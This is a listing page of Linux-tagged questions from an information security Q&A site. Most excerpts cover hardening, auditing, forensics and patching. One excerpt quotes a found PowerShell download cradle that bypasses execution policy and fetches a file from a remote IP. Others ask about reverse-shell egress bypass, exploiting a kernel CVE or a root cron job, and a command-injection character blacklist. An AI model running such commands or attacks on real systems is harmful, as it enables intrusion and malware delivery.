Questions tagged [linux]
Securing Linux systems and applications; understanding Linux security features.
1,720
questions
1
vote
1answer
39 views
sudo white list just program perl
In visudo Ubuntu I white list this program
myuser ALL=(root) NOPASSWD:/myuser/program.pl
when I run
sudo /myuser/program.pl
I get prompt to set password
solution add to visudo /usr/bin/perl
...
0
votes
0answers
30 views
How to write Seccomp rules to redirect write stderr to stdout
I would like to create seccomp rules (with https://github.com/david942j/seccomp-tools) to change the call :
write(2,'error') to write(1'error')
so redirect the write on stderr to a write on stdout.....
1
vote
1answer
159 views
Sacrificing 30% of my CPU performance (by disabling Hyper-Threading) to fully mitigate CPU vulnerabilities, necessary?
I used the spectre-meltdown-checker, version 0.42, without any option resulting in all-green results. But, in a help page, I found the --paranoid switch, which resulted in about a half of later CVEs ...
0
votes
0answers
19 views
RPC: How to authenticate the server towards the client(s)
I've implemented a client-server-model that runs locally on a linux machine. I've used the (old) ONC RPC / Oracle RPC based on an UNIX domain socket.
There are some ways to authenticate the client, ...
0
votes
1answer
46 views
Logging new network connections without TCP Wrappers
My current job involves auditing systems for compliance with various policies. One of these policies is that all network connections must be logged, so that the origin of the connection (IP address ...
2
votes
0answers
33 views
How to securely run Puppeteer / Chromium in a Docker container?
Attempting to run Puppeteer, a Node library to control a headless Chromium (in order to do things like create a PDF of a website), in Docker is a surprisingly fiddly thing.
The problem is that, from ...
2
votes
1answer
100 views
Remotely exploit Linux kernel with CVE-2017-18017? [closed]
I have set up a server running Linux Kernel 4.4. How can I exploit this, preferably not a DoS attack? I have opened port 80(https), however I would rather do it in an elegant fashion so I can actually ...
0
votes
1answer
30 views
How to block all inbound traffic from a specific Internet address or subnet using TomatoUSB router software (LINUX based)
I'm not trained in Linux, but I think I found the solution to my problem documented, but it is not working as expected. I am NOT an iptables guru, I'm learning as I go.
A Russian IP is trying to ...
2
votes
2answers
179 views
Is this Bash code vulnerable to code injection?
I'm writing a libre program named "silently" for enhancing error handling in Bash, emulating the behavior of a jidoka.
My question is if that eval would be vulnerable to code injection if the ...
1
vote
0answers
110 views
Bizarre request being made from Chrome
I've been seeing a very weird request being made from my Chrome browser (haven't noticed it on Brave). It does not run on all websites, and not all the time (it can appear on a website, then after a ...
0
votes
1answer
115 views
possible linux virus file
I found a file of unknown origin on a server called /var/tmp/f01bdc03. It was entered in root crontab to run every 10 minutes. So I made a VM and ran the program with strace. The only outside ...
0
votes
0answers
53 views
How to check security and other updates avaliable on linux distro automaticaly?
Let suppose we have network of 10 plus Linux machines having different distro (debian, Centos , Redhat and Arch etc ).
Can we implement some centralized system where we have update about update on ...
0
votes
0answers
42 views
Learning how to audit a linux system, what does it mean to configure password & system auth?
I'm currently using Linux Red Hat OS, and I need to configure it accordingly to /etc/pam.d/password-auth and /etc/pam.d/system-auth under CIS Red Hat Enterprise Linux 8 Benchmark v1.0.0-1.
What page ...
0
votes
0answers
42 views
What does “/ union” means while making kali persistence drive [migrated]
There is a command echo "/ union" > /mnt/UUI/persistence.conf while making kali persistence drive. What does "/ union" means why is it used?
2
votes
0answers
53 views
Patch management for production servers
I'm trying to implement an automated patching program at a small SaaS provider.
When a customer signs up for our software, we provision them a Linux VM in our primary datacenter.
Each customer also ...
3
votes
1answer
53 views
Difference between linux hash sum utilities and online string to hash utilities
When I go online and calculate a hash from a string on some generator website, no matter the algorithm or the website, it is always a different output than if I do echo "password" | sha256sum (or ...
1
vote
1answer
70 views
Is it possible to gain RCE from Arbitrary file write by an unprivileged user?
I am pentesting a PHP website running on Apache in a Ubuntu server.
I found a vulnerability that allows me to write files to the target system.
I know it's possible to write a php shell to the HTTP ...
0
votes
2answers
68 views
Does a user password protect against network attacks, or only physical?
If I create a user in a Linux system with an empty password, does that expose any remote vulnerabilities, or is it only a problem if someone gains physical access to the machine?
0
votes
0answers
38 views
How to extract cluster data for a jpeg image using autopsy
How do I find the exact partition of an image evidence in the hard drive that is being investigated? I know autopsy has a tool for it but I can't find it anywhere.
0
votes
0answers
40 views
After being AFK for a few hours, I found PowerShell commands in the currently opened LibreOffice document [duplicate]
I was AFK for a few hours. This is what I saw in my LibreOffice document when I returned to my laptop:
cmd.exe /c PoweExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://92....
3
votes
1answer
108 views
Best practices to manage password for embedded Linux devices
Should we generate a strong password offline, keep it closely guarded secret, and use the same one across all copies of the device? The boot drive is eMMC flash soldered on the PCB, hard to read ...
3
votes
1answer
130 views
An alternative for /dev/urandom
I like to overwrite my harddisk with random data.
Since /dev/urandom as source is too slow to overwrite a large amount of data in a reasonable time, I'm looking for a good alternative.
These two ...
0
votes
1answer
46 views
Identity management in a mixed Linux/Windows environment
At places like Google, where some users use Linux and others use Windows and even Mac, how are they managing IDAM?
For example
have a single directory service (probably highly customised)?
is it ...
-1
votes
0answers
67 views
Is shred, srm, or wipe, considered good enough against forensics (when using with ext4)? [duplicate]
Debian10 ext4; not using a "hdd" but rather my OS is on a 16GB micro-sd in orangepi.
$ shred -zvu passwords-save
$ srm -vz BoD
$ wipe -rfi temp
The following is from an article whereby the use of ...
0
votes
1answer
109 views
What ways can you monitor all changes made on a Linux server?
Sometimes we have contract developers that need to do work on the server (via ssh or sftp) and I've been looking for ways to monitor what they do on our Debian based server. We have ways of limiting ...
2
votes
0answers
47 views
How to store a key for a Java app server?
Assume I have a Java app running on a Linux server. The app needs a secret key to do a task, such as decrypting or encrypting a file, after it starts up. This is a question about best practice for ...
-1
votes
2answers
120 views
If my computer system is on, but none of my network connections are active, can someone work on hacking into my OS?
I thought I read that if my network connections, both wifi/ethernet, are NOT on, that if someone wanted to try and work on hacking my OS, that they would have to wait until the network connection is ...
1
vote
0answers
39 views
Is Linux password login inherently insecure or is it just that people use weak passwords? [duplicate]
The normal advice you see everywhere when setting up a Linux server is to setup SSH and disable the password login. Is this because there is some security issue with password logins or because sooner ...
2
votes
0answers
91 views
How to detect file or file system tampering
I would like to know if the following is possible:
Is it possible to detect a file that has been put into my file system using back dating? Are there any trace artifacts left behind which can help to ...
-1
votes
1answer
81 views
Why does traceroute to my home router go outside of my local network?
Earlier today, I wanted to access the admin web server of my router.
But for some reason, I was not able to access it, the web browser telling me there was no server on that address.
I had internet ...
2
votes
4answers
140 views
Embedded system - is it a good idea to run the user application as root?
I'm working on a Linux powered consumer electronics. Everything user interacts with is running as root (legacy design). Should I make the application run as its own user with restrictions?
0
votes
2answers
103 views
Why doesn't nordvpn require sudo?
I've downloaded and installed nordvpn on Ubuntu and am a bit incredulous at its operation.
After I downloaded its .deb file and installed it, apparently it can be activated with the command nordvpn ...
0
votes
1answer
56 views
Do world-writable systemd .service files created as symbolic links in /etc/systemd/system impose a security threat? [closed]
Do world-writable systemd .service files created as symbolic links in /etc/systemd/system impose a security threat?
Would it be possible to somehow modify the links to target arbitrary .service files ...
2
votes
2answers
239 views
How to log passwords tried for login?
I was just watching Michal Hrušecký's presentation about their open source routers. In the presentation he showed their "Honeypot as a Service" offering and how it allows you to see the passwords that ...
67
votes
7answers
17k views
How to investigate an unknown 1.5GB file named “sudo” in my Linux home directory?
I found a file in my home directory named "sudo". It's 1.5GB in size and I have no idea where it came from.
-rw-r--r-- 1 foo foo 1598296064 Aug 9 11:22 sudo
Does anybody have any tips on how to ...
0
votes
2answers
161 views
Linux and Windows Password Security Settings
I'm asking a client why some password parameters are not defined in the Linux OS level and he's saying that, internally, Linux and Windows complexity and timeout settings are different. If they set ...
1
vote
0answers
52 views
Identification of Unknown Potential MITM/Malware involving SSL Connections
On my server one of the services is a Discord bot. It was down which prompted me to look into why.
In my syslogs I noticed three increasingly concerning items:
do-agent[1066]: 2019/08/25 08:50:21
...
0
votes
0answers
70 views
How secure is passwordless and keyless SSH login on 127.0.0.1 only, over a secure authenticated tunnel?
I want to use CA signed SSH keys (that would be rotated frequently and have short expiry, ideally centrally managed, all that great stuff). Unfortunately, most of windows GUI tools, such as WinSCP or ...
0
votes
1answer
156 views
Preventing Basic Directory Traversal Attack in Linux application
I have a Raspberry Pi connected to my network and keep getting this vulnerability warning from my security software. I turned off the apache2 web server on the Pi, which fixed my port 80 issue but ...
0
votes
0answers
24 views
How to bypass egress traffic filtering for a reverse shell? [duplicate]
Say I have access to a linux server as non-root user (gained RCE using an exploit), say I am only able to run commands via http in bash/sh but I'm unable the to make the targeted server connect back ...
3
votes
2answers
293 views
Can I blindly trust 127.0.0.1?
On my system (Ubuntu Server 18.04, if that matters) I have two servers. They are behind a Nginx reverse proxy (i.e. accessing service.mywebsite.com internaly proxies the request to 127.0.0.1:...
1
vote
0answers
50 views
Why is keybase/gui_config.json owned by root?
I have keybase running on my Linux Desktop (Ubuntu 19.04). Since a recent update, the file ~/.config/keybase/gui_config.json is owned by root which is quite irritating. One negative effect of this is ...
0
votes
0answers
18 views
Issues with finding a gateway with static routing [duplicate]
I am doing this online lab where I am hosting a Kali Linux box in VmWare fusion, and VPNing into the online lab. These are my networking adapters once I connect via VPN:
eth0: flags=4163<UP,...
4
votes
2answers
137 views
Deactivate Linux Shell to prevent “blind” login on router
Today I analyzed my home router.
I connected a keyboard to the router's USB port, which is usually used for mass storage devices.
However, I pressed the key combination to reboot a Linux system from ...
1
vote
1answer
243 views
Exploiting cron job running as root
There is a cron job running as root on a web server every 15 minutes:
php cli-script.php
(cli stands for "Command Line Interface", so is only accessible from command-line)
It is not possible to ...
1
vote
0answers
55 views
x.509 certificate chain verification in Linux kernel prior to 4.12
I am trying to use certificate chain verification in Linux kernel.
The purpose is to use IMA/EVM with public keys that are included in x.509 certificates signed by an own root CA.
For this purpose I ...
0
votes
1answer
93 views
Analyze Windows Malware on Linux
I'm just getting started with the book 'Practical Malware Analysis', some of the exercises are using PEview and Dependency Walker however I'm slightly allergic to using Windows.
Is it possible to ...
2
votes
1answer
100 views
Unix/Linux shells which use effective UID instead of real UID
My question is build on top of the answer of the question about SUID exploitation:
SUID not used after exploit
The person (official answer) is stating that:
Many popular implementations of sh ...
3
votes
1answer
310 views
Replace forbidden characters function check python
I have "blackbox" with the following python function code (without permission to change it):
def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
...
2
votes
1answer
170 views
Is it necessary to understand Linux kernel internals to do binary exploitation? [closed]
I am second-year CS student, I know C, OOP concepts, x86 architecture, reverse engineering basics, TCP/IP stack and OS concepts, also I love Linux OS.
I have just one question:
Is it a mandatory to ...
